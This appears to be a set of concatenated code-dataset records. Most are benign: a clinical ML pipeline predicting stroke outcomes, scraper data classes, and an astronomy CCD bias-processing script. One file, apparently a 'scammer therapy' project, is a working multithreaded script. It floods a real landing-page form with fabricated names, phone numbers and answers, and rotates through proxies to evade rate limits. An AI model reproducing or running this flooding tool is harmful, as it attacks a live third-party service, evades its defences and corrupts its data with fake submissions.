= plt.subplot(111)\n plt.bar(\n data=rf_coefs,\n x=range(20),\n height=\"val\",\n color=[colors[x] for x in rf_coefs.head(20)[\"cat\"].tolist()],\n )\n\n lines = [\n \"orientation\",\n \"conciousness\",\n \"ampac\",\n \"pulse\",\n \"temp\",\n \"glasgow\",\n \"iv\",\n \"other\",\n ]\n\n custom_lines = [Line2D([0], [0], color=colors[x], lw=4) for x in lines]\n\n plt.legend(custom_lines, lines)\n plt.xlabel(\"Feature\", fontsize=18)\n plt.ylabel(\"RF Score\", fontsize=18)\n plt.xticks(fontsize=16)\n plt.yticks(fontsize=16)\n\n # Retrain model with only top features\n sfm = SelectFromModel(clf, threshold=0.0003)\n sfm.fit(X_train, y_train)\n\n return sfm, fig, ax\n\n\n##############################\n######## Load Dataset ########\n\n# Select data to run\n#path = \"C:\\\\Users\\\\mainswo3\\\\Downloads\\\\complete_24h_norehab_new.csv\"\n\n# path = 'C:\\\\Users\\\\mainswo3\\\\Downloads\\\\complete_24h_norehab_new.csv'\n# path = 'C:\\\\Users\\\\mainswo3\\\\Downloads\\\\complete_48h_norehab_new.csv'\n# path = 'C:\\\\Users\\\\mainswo3\\\\Downloads\\\\complete_72h_norehab_new.csv'\n\n# Use below path to run with GCS data\npath = 'C:\\\\Users\\\\mainswo3\\\\Downloads\\\\complete_24h_min_gcs_new.csv'\n# path = 'C:\\\\Users\\\\mainswo3\\\\Downloads\\\\complete_24h_72h_min_gcs_new.csv'\n\ndf = pd.read_csv(path)\ndf = df.drop('Unnamed: 0', axis=1)\n\n####\n# Use if there is null values!!\n# df = df.dropna()\n####\n\n# Create X and y varables, remove label from X data\n# y = df[\"LOS\"]\n# X = df.drop([\"LOS\", \"mrn_csn_pair\"], axis=1)\ny = df[\"bin_min_gcs\"]\nX = df.drop([\"bin_min_gcs\", \"mrn_csn_pair\"], axis=1)\nprint(\"Shape of X data: \", X.shape)\nprint(\"Shape of X data: \", y.shape)\n\n\n# Run a train test split on the data\nX_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.3, random_state=42\n)\n\nX_train_p = preprocessing.scale(X_train)\nX_test_p = preprocessing.scale(X_test)\ny_train_p = np.squeeze(y_train.to_numpy())\ny_test_p = np.squeeze(y_test.to_numpy())\n\n\n######## GLM Hyperparameter Tuning ########\nhyperparameter_glm = dict()\nhyperparameter_glm[\"C\"] = [0.001, 0.01, 0.1, 1, 10, 100]\n\nlogistic = LogisticRegression(solver=\"lbfgs\", max_iter=200, penalty=\"l2\")\nrandomizedsearch = RandomizedSearchCV(logistic, hyperparameter_glm, cv=5, n_jobs=-1)\nbest_model_random = randomizedsearch.fit(X_train, y_train)\nbest_params_glm = best_model_random.best_params_\n\n\n######## RF Hyperparameter Tuning ########\nhyperparameter_rf = dict()\nhyperparameter_rf[\"min_samples_split\"] = [1.0, 2, 3, 4]\nhyperparameter_rf[\"min_samples_leaf\"] = [0.1, 0.3, 0.4, 1]\nhyperparameter_rf[\"max_features\"] = [\"auto\", \"sqrt\", \"log2\"]\n\nrf = RandomForestClassifier(n_estimators=100, criterion=\"gini\", max_depth=None)\nrandomizedsearch = RandomizedSearchCV(rf, hyperparameter_rf, cv=5, n_jobs=-1)\nbest_model = randomizedsearch.fit(X_train, y_train)\nprint(\"\\n\\n\\nRF BEST PARAMS:\\n\\n\\n\")\nbest_params_rf = best_model.best_params_\nprint(best_params_rf)\n\n\n######## XGB Hyperparameter Tuning ########\nhyperparameter_xg = dict()\nhyperparameter_xg[\"booster\"] = [\"gbtree\", \"gblinear\", \"dart\"]\nhyperparameter_xg[\"eta\"] = [0.1, 0.2, 0.3, 1]\nhyperparameter_xg[\"max_depth\"] = [4, 6, 8]\n\nxg = XGBClassifier(n_estimators=100, criterion=\"gini\", max_depth=None)\nrandomizedsearch = RandomizedSearchCV(xg, hyperparameter_xg, cv=5, n_jobs=-1)\nbest_model_xg = randomizedsearch.fit(X_train, y_train)\nprint(\"\\n\\n\\nXGB BEST PARAMS:\\n\\n\\n\")\nbest_params_xg = best_model_xg.best_params_\nprint(best_params_xg)\n\n\n########################################\n######## Print Original Results ########\nrf_anova = Classifiers.RandomForestModel(\n params={\n **best_params_rf,\n \"n_estimators\": 100,\n \"criterion\": \"gini\",\n \"max_depth\": None,\n \"verbose\": 0,\n }\n)\nrf_anova.fit(X_train_p, y_train_p)\nrf_anova_raw_preds, rf_anova_preds, rf_anova_score = rf_anova.predict(\n X_test_p, y_test_p\n)\n\n\nauc_rf, pr_auc, fpr, tpr, roc_thresholds, recalls, precisions = get_auc_pr(\n y_test_p, rf_anova_raw_preds\n)\n\nglm_anova = Classifiers.LogisticRegressionModel(\n params={\n **best_params_glm,\n \"penalty\": \"l2\",\n \"solver\": \"lbfgs\",\n \"max_iter\": 200,\n # 'C' : 0.001,\n \"verbose\": 0,\n }\n)\nglm_anova.fit(X_train_p, y_train_p)\nglm_anova_raw_preds, glm_anova_preds, glm_anova_score = glm_anova.predict(\n X_test_p, y_test_p\n)\n\n\nauc_glm, pr_auc_glm, fpr_glm, tpr_glm, roc_thresholds_glm, recalls_glm, precisions_glm = get_auc_pr(\n y_test_p, glm_anova_raw_preds\n)\n\n\nxgb = Classifiers.XGBoostModel(params={**best_params_xg})\nxgb.fit(X_train_p, y_train_p)\nxgb_raw_preds, xgb_preds, xgb_score = xgb.predict(X_test_p, y_test_p)\n\n\nauc_xgb, pr_auc_xgb, fpr_xgb, tpr_xgb, roc_thresholds_xgb, recalls_xgb, precisions_xgb = get_auc_pr(\n y_test_p, xgb_raw_preds\n)\n\n\nrecall_no_skill = y_train_p.sum() / len(y_train_p)\n\n\noptimal_preds, threshold = optimal_points(fpr, tpr, rf_anova_raw_preds, roc_thresholds)\noptimal_preds_glm, threshold_glm = optimal_points(\n fpr_glm, tpr_glm, glm_anova_raw_preds, roc_thresholds_glm\n)\noptimal_preds_xgb, threshold_xgb = optimal_points(\n fpr_xgb, tpr_xgb, xgb_raw_preds, roc_thresholds_xgb\n)\n\n\nfig = plt.figure(figsize=(12, 6))\nax = plt.subplot(1, 2, 1)\nax.plot(fpr, tpr, lw=2.5, c=\"green\", alpha=0.7)\nax.plot(fpr_glm, tpr_glm, lw=2.5, c=\"red\", alpha=0.7)\nax.plot(fpr_xgb, tpr_xgb, lw=2.5, c=\"blue\", alpha=0.7)\nax.plot([0, 1], [0, 1], ls=\"--\", color=\"black\")\nplt.title(\"ROC Curve\", fontsize=20)\nplt.xlabel(\"FPR\", fontsize=18)\nplt.ylabel(\"TPR\", fontsize=18)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nplt.legend(\n [\n \"RF AUC = {}\".format(auc_rf.round(3)),\n \"GLM AUC = {}\".format(auc_glm.round(3)),\n \"XGB AUC = {}\".format(auc_xgb.round(3)),\n \"No-Skill\",\n ],\n loc=\"lower right\",\n fontsize=16,\n)\n\nax2 = plt.subplot(1, 2, 2)\nax2.plot(recalls, precisions, lw=2.5, c=\"green\", alpha=0.7)\nax2.plot(recalls_glm, precisions_glm, lw=2.5, c=\"red\", alpha=0.7)\nax2.plot(recalls_xgb, precisions_xgb, lw=2.5, c=\"blue\", alpha=0.7)\nax2.plot([0, 1], [recall_no_skill, recall_no_skill], ls=\"--\", color=\"black\")\nplt.title(\"Precision-Recall Curve\", fontsize=18)\nplt.xlabel(\"Recall\", fontsize=18)\nplt.ylabel(\"Precision\", fontsize=18)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nax2.set_xlim(0, 1)\nax2.set_ylim(0, 1)\nplt.legend(\n [\n \"RF AUC = {}\".format(pr_auc.round(3)),\n \"GLM AUC = {}\".format(pr_auc_glm.round(3)),\n \"XGB AUC = {}\".format(pr_auc_xgb.round(3)),\n \"No-Skill\",\n ],\n loc=\"lower left\",\n fontsize=16,\n)\nplt.tight_layout()\nplt.show()\n# fig.savefig('S:/Dehydration_stroke/Team Emerald/scripts/Michael Working Scripts/Michael Figures/AllFeaturesHyperparameter.png')\n\n\n# Perform GLM feature ranking\nnznew, fig, ax = featureRankGLM(X_train_p, X_train, y_train_p)\n\nplt.title(\"GLM Top 20 Features (24 Hours)\", fontsize=20)\nplt.show()\n\nfeatures_used = [i[1] for i in nznew]\nX_glm_train = X_train[features_used]\nX_glm_test = X_test[features_used]\n\n# Scale and normalize\nX_train_new = preprocessing.scale(X_glm_train)\nX_test_new = preprocessing.scale(X_glm_test)\n\n\n# Re-tune hyperparameters with new feature space\n######## GLM Hyperparameter Tuning ########\nhyperparameter_glm = dict()\nhyperparameter_glm[\"C\"] = [0.001, 0.01, 0.1, 1, 10, 100]\n\nlogistic = LogisticRegression(solver=\"lbfgs\", max_iter=200, penalty=\"l2\")\nrandomizedsearch = RandomizedSearchCV(logistic, hyperparameter_glm, cv=5, n_jobs=-1)\nbest_model_random = randomizedsearch.fit(X_train_new, y_train)\nbest_params_glm_updated = best_model_random.best_params_\nprint(\"BP_GLM: \", best_params_glm_updated)\n\n\n# Use new features to train GLM model\nglm = Classifiers.LogisticRegressionModel(\n params={\n **best_params_glm_updated,\n \"penalty\": \"l2\",\n \"solver\": \"lbfgs\",\n \"max_iter\": 200,\n \"verbose\": 0,\n }\n)\nglm.fit(X_train_new, y_train_p)\n\nfilename = 'S:/Dehydration_stroke/Team Emerald/Working GitHub Directories/'\\\n 'Michael/stroke-hemodynamics/Aim 2/Models/FullModelResults/gcs_24hr_model_glm.sav'\npickle.dump(glm, open(filename, 'wb'))\n\nglm_raw_preds, glm_preds, glm_score = glm.predict(X_test_new, y_test_p)\nauc_glm, pr_auc_glm, fpr_glm, tpr_glm, roc_thresholds_glm, recalls_glm, precisions_glm = get_auc_pr(\n y_test_p, glm_raw_preds\n)\n\nrecall_no_skill = y_train_p.sum() / len(y_train_p)\noptimal_preds_glm, threshold_glm = optimal_points(\n fpr_glm, tpr_glm, glm_raw_preds, roc_thresholds_glm\n)\n\nprint_metrics(y_test_p, optimal_preds_glm)\n\n\n# Perform RF feature ranking\nsfm, fig, ax = featureRankingRF(X_train_p, X_train, y_train_p)\nplt.title(\"RF Top 20 Features (24 Hours)\", fontsize=20)\nplt.show()\n\n\nX_train_new = sfm.transform(X_train)\nX_test_new = sfm.transform(X_test)\n\n\n# Retune hyperparameters with new feature space\n######## RF Hyperparameter Tuning ########\nhyperparameter_rf = dict()\nhyperparameter_rf[\"min_samples_split\"] = [1.0, 2, 3, 4]\nhyperparameter_rf[\"min_samples_leaf\"] = [0.1, 0.3, 0.4, 1]\nhyperparameter_rf[\"max_features\"] = [\"auto\", \"sqrt\", \"log2\"]\n\nrf = RandomForestClassifier(n_estimators=100, criterion=\"gini\", max_depth=None)\nrandomizedsearch = RandomizedSearchCV(rf, hyperparameter_rf, cv=5, n_jobs=-1)\nbest_model = randomizedsearch.fit(X_train_new, y_train)\nprint(\"\\n\\n\\nRF BEST PARAMS:\\n\\n\\n\")\nbest_params_rf_updated = best_model.best_params_\nprint(best_params_rf_updated)\n\n\n######## XGB Hyperparameter Tuning ########\nhyperparameter_xg = dict()\nhyperparameter_xg[\"booster\"] = [\"gbtree\", \"gblinear\", \"dart\"]\nhyperparameter_xg[\"eta\"] = [0.1, 0.2, 0.3, 1]\nhyperparameter_xg[\"max_depth\"] = [4, 6, 8]\n\nxg = XGBClassifier(n_estimators=100, criterion=\"gini\", max_depth=None)\nrandomizedsearch = RandomizedSearchCV(xg, hyperparameter_xg, cv=5, n_jobs=-1)\nbest_model_xg = randomizedsearch.fit(X_train_new, y_train)\nprint(\"\\n\\n\\nXGB BEST PARAMS:\\n\\n\\n\")\nbest_params_xg_updated = best_model_xg.best_params_\nprint(best_params_xg_updated)\n\n\n# Scale and normalize raw data\nX_train_p = preprocessing.scale(X_train_new)\nX_test_p = preprocessing.scale(X_test_new)\ny_train_p = np.squeeze(y_train.to_numpy())\ny_test_p = np.squeeze(y_test.to_numpy())\n\n\n# Use new features to train RF and XGB models\nrf = Classifiers.RandomForestModel(\n params={\n **best_params_rf_updated,\n \"n_estimators\": 100,\n \"criterion\": \"gini\",\n \"max_depth\": None,\n \"verbose\": 0,\n }\n)\nrf.fit(X_train_p, y_train_p)\n\nfilename = 'S:/Dehydration_stroke/Team Emerald/Working GitHub Directories/'\\\n 'Michael/stroke-hemodynamics/Aim 2/Models/FullModelResults/gcs_24hr_model_rf.sav'\npickle.dump(rf, open(filename, 'wb'))\n\nrf_raw_preds, rf_preds, rf_score = rf.predict(X_test_p, y_test_p)\n\nauc_rf, pr_auc_rf, fpr, tpr, roc_thresholds, recalls, precisions = get_auc_pr(\n y_test_p, rf_raw_preds\n)\n\n\nxgb = Classifiers.XGBoostModel(params={**best_params_xg_updated})\nxgb.fit(X_train_p, y_train_p)\n\nfilename = 'S:/Dehydration_stroke/Team Emerald/Working GitHub Directories/'\\\n 'Michael/stroke-hemodynamics/Aim 2/Models/FullModelResults/gcs_24hr_model_xgb.sav'\npickle.dump(xgb, open(filename, 'wb'))\n\nxgb_raw_preds, xgb_preds, xgb_score = xgb.predict(X_test_p, y_test_p)\n\nauc_xgb, pr_auc_xgb, fpr_xgb, tpr_xgb, roc_thresholds_xgb, recalls_xgb, precisions_xgb = get_auc_pr(\n y_test_p, xgb_raw_preds\n)\n\nrecall_no_skill_24 = y_train_p.sum() / len(y_train_p)\n\noptimal_preds, threshold = optimal_points(fpr, tpr, rf_raw_preds, roc_thresholds)\noptimal_preds_xgb, threshold_xgb = optimal_points(\n fpr_xgb, tpr_xgb, xgb_raw_preds, roc_thresholds_xgb\n)\n\nprint_metrics(y_test_p, optimal_preds)\nprint_metrics(y_test_p, optimal_preds_xgb)\n\n\n# Plot XGBoost and RF; lines generated from RF feature ranking\nfig = plt.figure(figsize=(12, 6))\nax = plt.subplot(1, 2, 1)\nax.plot(fpr, tpr, lw=2.5, c=\"green\", alpha=0.7)\nax.plot(fpr_xgb, tpr_xgb, lw=2.5, c=\"blue\", alpha=0.7)\nax.plot([0, 1], [0, 1], ls=\"--\", color=\"black\")\nplt.title(\"ROC Curve\", fontsize=20)\nplt.xlabel(\"FPR\", fontsize=18)\nplt.ylabel(\"TPR\", fontsize=18)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nplt.legend(\n [\n \"RF AUC = {}\".format(auc_rf.round(3)),\n \"XGB AUC = {}\".format(auc_xgb.round(3)),\n \"No-Skill\",\n ],\n loc=\"lower right\",\n fontsize=16,\n)\n\nax2 = plt.subplot(1, 2, 2)\nax2.plot(recalls, precisions, lw=2.5, c=\"green\", alpha=0.7)\nax2.plot(recalls_xgb, precisions_xgb, lw=2.5, c=\"blue\", alpha=0.7)\nax2.plot([0, 1], [recall_no_skill, recall_no_skill], ls=\"--\", color=\"black\")\nplt.title(\"Precision-Recall Curve\", fontsize=18)\nplt.xlabel(\"Recall\", fontsize=18)\nplt.ylabel(\"Precision\", fontsize=18)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nax2.set_xlim(0, 1)\nax2.set_ylim(0, 1)\nplt.legend(\n [\n \"RF AUC = {}\".format(pr_auc_rf.round(3)),\n \"XGB AUC = {}\".format(pr_auc_xgb.round(3)),\n \"No-Skill\",\n ],\n loc=\"lower left\",\n fontsize=16,\n)\nplt.tight_layout()\nplt.show()\n\n\n# Plot only XGBoost which generally performs best\n\nfig = plt.figure(figsize=(12, 6))\nax = plt.subplot(1, 2, 1)\nax.plot(fpr_xgb, tpr_xgb, lw=2.5, c=\"blue\", alpha=0.7)\nax.plot([0, 1], [0, 1], ls=\"--\", color=\"black\")\nplt.title(\"ROC Curve\", fontsize=20)\nplt.xlabel(\"FPR\", fontsize=18)\nplt.ylabel(\"TPR\", fontsize=18)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nplt.legend(\n [\"XGB AUC = {}\".format(auc_xgb.round(3)), \"No-Skill\"],\n loc=\"lower right\",\n fontsize=16,\n)\n\nax2 = plt.subplot(1, 2, 2)\nax2.plot(recalls_xgb, precisions_xgb, lw=2.5, c=\"blue\", alpha=0.7)\nax2.plot([0, 1], [recall_no_skill, recall_no_skill], ls=\"--\", color=\"black\")\nplt.title(\"Precision-Recall Curve\", fontsize=18)\nplt.xlabel(\"Recall\", fontsize=18)\nplt.ylabel(\"Precision\", fontsize=18)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nax2.set_xlim(0, 1)\nax2.set_ylim(0, 1)\nplt.legend(\n [\"XGB AUC = {}\".format(pr_auc_xgb.round(3)), \"No-Skill\"],\n loc=\"lower left\",\n fontsize=16,\n)\nplt.tight_layout()\nplt.show()\n\n\n# Combined Plot; plot all three final lines together\n\nfig = plt.figure(figsize=(10, 5))\nax = plt.subplot(1, 2, 1)\nax.plot(fpr, tpr, lw=2.5, c=\"green\", alpha=0.7)\nax.plot(fpr_xgb, tpr_xgb, lw=2.5, c=\"blue\", alpha=0.7)\nax.plot(fpr_glm, tpr_glm, lw=2.5, c=\"red\", alpha=0.7)\nax.plot([0, 1], [0, 1], ls=\"--\", color=\"black\")\nplt.title(\"ROC Curve\", fontsize=20)\nplt.xlabel(\"FPR\", fontsize=18)\nplt.ylabel(\"TPR\", fontsize=18)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nplt.legend(\n [\n \"RF AUC = {}\".format(auc_rf.round(3)),\n \"XGB AUC = {}\".format(auc_xgb.round(3)),\n \"GLM AUC = {}\".format(auc_glm.round(3)),\n \"No-Skill\",\n ],\n loc=\"lower right\",\n fontsize=14,\n)\n\nax2 = plt.subplot(1, 2, 2)\nax2.plot(recalls, precisions, lw=2.5, c=\"green\", alpha=0.7)\nax2.plot(recalls_xgb, precisions_xgb, lw=2.5, c=\"blue\", alpha=0.7)\nax2.plot(recalls_glm, precisions_glm, lw=2.5, c=\"red\", alpha=0.7)\nax2.plot([0, 1], [recall_no_skill, recall_no_skill], ls=\"--\", color=\"black\")\nplt.title(\"Precision-Recall Curve\", fontsize=22)\nplt.xlabel(\"Recall\", fontsize=20)\nplt.ylabel(\"Precision\", fontsize=20)\nplt.xticks(fontsize=16)\nplt.yticks(fontsize=16)\nax2.set_xlim(0, 1)\nax2.set_ylim(0, 1)\nplt.legend(\n [\n \"RF AUC = {}\".format(pr_auc_rf.round(3)),\n \"XGB AUC = {}\".format(pr_auc_xgb.round(3)),\n \"GLM AUC = {}\".format(pr_auc_glm.round(3)),\n \"No-Skill\",\n ],\n loc=\"lower left\",\n fontsize=14,\n)\nplt.tight_layout()\nplt.show()\n\n# fig.savefig('S:/Dehydration_stroke/Team Emerald/Working GitHub Directories/'\\\n# 'Michael/stroke-hemodynamics/Aim 2/Models/FullModelResults/PaperFigure3.png',\n# dpi=800)\n ","sub_path":"Aim 2/Models/ExperimentPipeline.py","file_name":"ExperimentPipeline.py","file_ext":"py","file_size_in_byte":21482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"322672203","text":"import time\nimport requests\nimport random\nimport string\nimport threading\n\nurl = 'https://lp.landing-page.mobi/index.php'\nnum = 20\n\nstart_numbers = ['4580', '5326', '3755']\nwith open('data/israeli_names.csv', 'r', encoding='utf-8') as f:\n names = f.read().split()\n\nwith open('data/proxies.csv', 'r') as f:\n proxies = f.read().split()\n\n\ndef do_requests():\n i = 0\n k = 1\n req = 1\n proxy = proxies[i]\n while True:\n data = {\n 'output': 'json',\n 'page': 'landing.action',\n 'id': '437899',\n 'token': '59f88f6bbb5a853e0960a256d3585891',\n 'force': 'mobile',\n 'elementId': '11513983',\n 'elementAction': 'submit',\n 'field[0]': random.choice(['שכיר/ה', 'עצמאי/ת', 'בין עבודות', 'אחר']),\n 'field[1]': random.choice(['כן, הייתי שכיר/ה', 'לא הייתי שכיר/ה ב-6 השנים האחרונות']),\n 'field[2]': random.choice(['לא, אף אחד מאיתנו עצמאי', 'כן, אחד מאיתנו עצמאי']),\n 'field[3]': random.choice(['כן', 'לא']),\n 'field[4]': random.choice(['פחות מ-7,000 ש\"ח', '7-10 אלף ש\"ח', '10-15 אלף ש\"ח', 'יותר מ-15 אלף ש\"ח']),\n 'field[5]': random.choice(['18-24', '25-30', '31-65', '66-70', 'מעל 70']),\n 'field[6]': ' '.join(random.choices(names, k=2)),\n 'field[7]': '05' + ''.join(random.choices(['2','3','4','8'], weights=(71,3,20,6), k=1)) +\n ''.join(random.choices(string.digits, k=7))\n\n }\n try:\n response = requests.post(url=url, data=data, proxies={'http': 'http://' + proxy, 'https:': 'https://' + proxy}).text\n print(response[:24], 'Sending details: ', [data[j] for j in data][7:], 'request number:', k * num)\n k += 1\n if k > 15 * req:\n req += 1\n i += 1\n print('Too many requests, Moving to proxy - ', proxies[i + 1])\n\n\n except:\n print(\"Skipping. Connnection error\")\n i += 1\n print('trying proxy - ', proxies[i + 1])\n\n\nthreads = []\nfor i in range(num):\n t = threading.Thread(target=do_requests)\n t.daemon = True\n threads.append(t)\n\nfor i in range(num):\n threads[i].start()\n\nfor i in range(num):\n threads[i].join()","sub_path":"FraudProjects/Project_9_Scammer_Therapy_Tax_refund.py","file_name":"Project_9_Scammer_Therapy_Tax_refund.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"160164955","text":"#!/usr/bin/python\n\n#---------------------------------------------------\n#\n# Filename: baseapp_common.py\n#\n# Purpose: Holds common functions and data structures so that\n# implementation mistakes are more difficult to make and data\n# is output in a uniform way.\n#\n# Logic: TermData, DeptData, ClassFetchData and ClassParseData are\n# used to pass data around the baseapp components consistently.\n# Collections of ClassFetchData and ClassParseData are returned\n# as the program output, since in this case the class data contains\n# term and department data. This helps keep the JSON output simple/reliable.\n# Abstract class BaseApp serves as the base app entry point and must be \n# implemented in order for the base app to work.\n#\n#----------------------------------------------------\n\nimport subprocess\nfrom abc import ABCMeta, abstractmethod\n\n# Holds the master list of ErrorContainer objects, which \n# help consolidate errors in one place. Useful for humans.\nerrorcontainers = []\n\n# Return the date in s-ms\n# TODO: This needs to be re-written. Using a process to get the time\n# probably isn't the best way, and this probably isn't the best way\n# to hold this data to begin with.\ndef getDateSecs():\n proc=subprocess.Popen('date +%s-%N', shell=True,stdout=subprocess.PIPE)\n secs = proc.communicate()[0].strip()\n return secs.replace(\"-\",\".\")\n\n# Holds the error variable of user-defined type,\n# along with any other necessary data such as datetime.\nclass Error(object):\n def __init__(self, error, date = getDateSecs()):\n self.error = error\n self.date = date\n\n# Holds list of all errors that occurred during a given operation set.\n# Can be used to identify problems later, or to systematically\n# recover from serious problems. The ErrorContainer is usually\n# placed inside of whatever object the errors occured during the\n# generation of (i.e. somewhere in the fetch/parse processes, etc).\nclass ErrorContainer(object):\n def __init__(self, errors = [], date = getDateSecs()):\n # In addition to the data where the error occured during process,\n # the ErrorContainer is also appended to a single list, which is\n # output on program completion, if verbose output mode is enabled.\n errorcontainers.append(self)\n self.errors = errors\n\n# Base class for Data classes to inherit from.\nclass DataObject(object):\n def __init__(self):\n self.errorcontainer = ErrorContainer()\n\n# Abstract class, whose implementation acts as an\n# entry point for the base app -- Using this, it's\n# possible to know exactly what data is expected\n# by the caller.\nclass BaseApp(object):\n __metaclass__ = ABCMeta\n\n # Typically returns a list of ClassFetchData\n @abstractmethod\n def fetch(self):\n pass\n @abstractmethod\n def parse(self, input):\n pass\n\n# Stores extracted term data.\n# TODO: decide what this needs and finish it.\nclass TermData(DataObject):\n def __init__(self, date = getDateSecs()):\n self.date = date\n DataObject.__init__(self)\n\n# Stores sets (DeptData) of parsed department data\nclass DeptDataContainer(DataObject):\n def __init__(self, dept_list, date = getDateSecs()):\n self.depts = dept_list\n self.date = date\n DataObject.__init__(self)\n\n# Stores an individual set of department data.\nclass DeptData(object):\n def __init__(self, name, abbr, classpage, date = getDateSecs()):\n self.name = name\n self.abbr = abbr\n self.classpage = classpage\n self.date = date\n\n# Stores sets (ClassParseData) of parsed department data.\nclass ClassParseDataContainer(DataObject):\n def __init__(self, class_list, date = getDateSecs()):\n self.classes = class_list\n self.date = date\n DataObject.__init__(self)\n\n# Stores an individual set of class fetch data.\nclass ClassFetchData(DataObject):\n def __init__(self, college, termVal, deptName, deptAbbrv, classpage, classList):\n self.college = college\n self.termVal = termVal\n self.deptName = deptName\n self.deptAbbrv = deptAbbrv\n self.classpage = classpage\n self.classList = classList\n\n# Stores an individual set of class parse data.\nclass ClassParseData(object):\n def __init__(self, college, termVal, deptName, deptAbbrv, title, classID, secID, rm, day, time, faculty, book):\n self.college = college\n self.termVal = termVal\n self.deptName = deptName\n self.deptAbbrv = deptAbbrv\n self.title = title\n self.classID = classID\n self.secID = secID\n self.rm = rm\n self.day = day\n self.time = time\n self.faculty = faculty\n self.book = book\n\n# Stores data about the return status (success/error, etc)\nclass ReturnStatus(object):\n def __init__(self, success = False, errorcontainer = ErrorContainer()):\n self.success = success\n self.errorcontainer = errorcontainer\n\n#------------------------------------------------------------","sub_path":"baseapp_common.py","file_name":"baseapp_common.py","file_ext":"py","file_size_in_byte":4784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"336152234","text":"import numpy as np\nimport astropy\nfrom astropy import units\nfrom astropy.io import fits\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom astropy.nddata import NDData\nfrom astropy.nddata import CCDData\nimport ccdproc\nimport astropy.units as u\nfrom astropy.modeling import models\nfrom ccdproc import Combiner\nimport os\nimport mycode\nimport m2fs_process as m2fs\nmatplotlib.use('TkAgg')\n\ndirectory='/nfs/nas-0-9/mgwalker.proj/m2fs/'\nm2fsrun='jan20' \ndatadir=m2fs.get_datadir(m2fsrun)\n\nwith open(directory+m2fsrun+'_bias_raw') as f:\n data=f.readlines()[0:]\nutdate=[]\nfile1=[]\nfile2=[]\nfor line in data:\n p=line.split()\n utdate.append(str(p[0]))\n file1.append(int(p[1]))\n file2.append(int(p[2]))\nutdate=np.array(utdate)\nfile1=np.array(file1)\nfile2=np.array(file2)\n\nfor ccd in (['b','r']):\n for chip in (['c1','c2','c3','c4']):\n obs_readnoise=[]\n master_processed=[]\n sig_master_processed=[]\n for i in range(0,len(utdate)):\n processed=[]\n sig_processed=[]\n for j in range(file1[i],file2[i]+1):\n filename=datadir+utdate[i]+'/'+ccd+str(j).zfill(4)+chip+'.fits'\n \n data=astropy.nddata.CCDData.read(filename,unit=u.adu)#header is in data.meta\n print(filename,data.header['object'],data.header['binning'])\n\n oscan_subtracted=ccdproc.subtract_overscan(data,overscan=data[:,1024:],overscan_axis=1,model=models.Polynomial1D(3),add_keyword={'oscan_corr':'Done'})\n trimmed1=ccdproc.trim_image(oscan_subtracted[:,:1024],add_keyword={'trim1':'Done'})\n trimmed2=ccdproc.trim_image(trimmed1[:1028,:1024],add_keyword={'trim2':'Done'})\n array1d=trimmed2.data.flatten()\n gain=np.float(trimmed2.header['egain'])\n keep=np.where(np.abs(array1d)<100.)[0]#remove crazy outliers\n obs_readnoise.append(np.std(array1d[keep]*gain))\n# data_with_deviation=ccdproc.create_deviation(trimmed2,gain=data.meta['egain']*u.electron/u.adu,readnoise=data.meta['enoise']*u.electron)\n# gain_corrected=ccdproc.gain_correct(data_with_deviation,data_with_deviation.meta['egain']*u.electron/u.adu,add_keyword={'gain_corr':'Done'})\n# cr_cleaned=ccdproc.cosmicray_lacosmic(trimmed2,sigclip=5,gain_apply=False,gain=0.68,readnoise=2.7)\n# sig_cr_cleaned=cr_cleaned.uncertainty._array\n\n# data_with_deviation=ccdproc.create_deviation(data,gain=data.meta['egain']*u.electron/u.adu,readnoise=data.meta['enoise']*u.electron)\n# gain_corrected=ccdproc.gain_correct(data_with_deviation,data_with_deviation.meta['egain']*u.electron/u.adu,add_keyword={'gain_corr':'Done'})\n# cr_cleaned=ccdproc.cosmicray_lacosmic(gain_corrected,sigclip=5)\n# oscan_subtracted=ccdproc.subtract_overscan(cr_cleaned,overscan=cr_cleaned[:,1024:],overscan_axis=1,model=models.Polynomial1D(3),add_keyword={'oscan_corr':'Done'})\n# trimmed1=ccdproc.trim_image(oscan_subtracted[:,:1024],add_keyword={'trim1':'Done'})\n# trimmed2=ccdproc.trim_image(trimmed1[:1028,:1024],add_keyword={'trim2':'Done'})\n# trimmed.append(trimmed2)\n# sig_trimmed.append(trimmed2.uncertainty._array)\n processed.append(trimmed2)\n# sig_processed.append(sig_cr_cleaned)\n master_processed.append(trimmed2)\n# sig_master_processed.append(sig_cr_cleaned)\n# processed=np.array(processed)\n# sig_processed=np.array(sig_processed)\n\n# c=Combiner(processed)\n# c.clip_extrema(nlow=1,nhigh=1)\n# old_n_masked=0\n# new_n_masked=c.data_arr.mask.sum()\n# while (new_n_masked > old_n_masked):\n# c.sigma_clipping(low_thresh=3,high_thresh=3,func=np.ma.median)\n# old_n_masked=new_n_masked\n# new_n_masked=c.data_arr.mask.sum()\n# ccdall=c.average_combine()\n# ccdall.write(directory+m2fsrun+'_'+ccd+'_'+chip+'_master_bias'+str(i+1)+'.fits',overwrite=True)\n obs_readnoise=np.array(obs_readnoise)\n c=Combiner(master_processed)\n c.clip_extrema(nlow=1,nhigh=1)\n old_n_masked=0\n new_n_masked=c.data_arr.mask.sum()\n while (new_n_masked > old_n_masked):\n# c.sigma_clipping(func=np.ma.median)\n c.sigma_clipping(low_thresh=3,high_thresh=3,func=np.ma.median)\n old_n_masked=new_n_masked\n new_n_masked=c.data_arr.mask.sum()\n# c.clip_extrema(nlow=5,nhigh=5)\n# c.weights=1./sig_master_bias**2\n# ccdall=c.average_combine(uncertainty_func=mycode.stdmean)\n ccdall=c.average_combine()\n ccdall[0].header['obs_rdnoise']=str(np.median(obs_readnoise))\n ccdall[0].header['egain']=str(gain)\n 